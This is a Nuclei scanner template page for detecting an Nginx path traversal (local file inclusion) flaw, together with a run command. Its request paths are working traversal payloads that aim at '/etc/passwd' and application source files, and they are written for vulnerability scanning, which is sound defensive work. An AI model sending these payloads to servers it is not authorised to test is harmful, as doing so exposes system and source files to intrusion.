Skip to content

Nginx Server - Local File Inclusion

ID: nginx-merge-slashes-path-traversal

Severity: high

Author: dhiyaneshDk

Tags: exposure,config,lfi,nginx

Nginx server is vulnerable to local file inclusion.

id: nginx-merge-slashes-path-traversal
info:
name: Nginx Server - Local File Inclusion
author: dhiyaneshDk
severity: high
description: Nginx server is vulnerable to local file inclusion.
reference:
- https://github.com/detectify/ugly-duckling/blob/master/modules/crowdsourced/nginx-merge-slashes-path-traversal.json
- https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cwe-id: CWE-22
metadata:
max-request: 3
tags: exposure,config,lfi,nginx
http:
- method: GET
path:
- "{{BaseURL}}///////../../../etc/passwd"
- "{{BaseURL}}/static///////../../../../etc/passwd"
- "{{BaseURL}}///../app.js"
stop-at-first-match: true
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- "app.listen"
part: body
condition: or
- type: status
status:
- 200
# digest: 4a0a004730450220379e33c7c64333545dda45d56c465054618bf6f8997a8db6bbb5b130474ca4e0022100914e174e684e555faff0601762d31b0de0166ed981fdc7af343e8c5273e09640:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/other/nginx-merge-slashes-path-traversal.yaml"

View on Github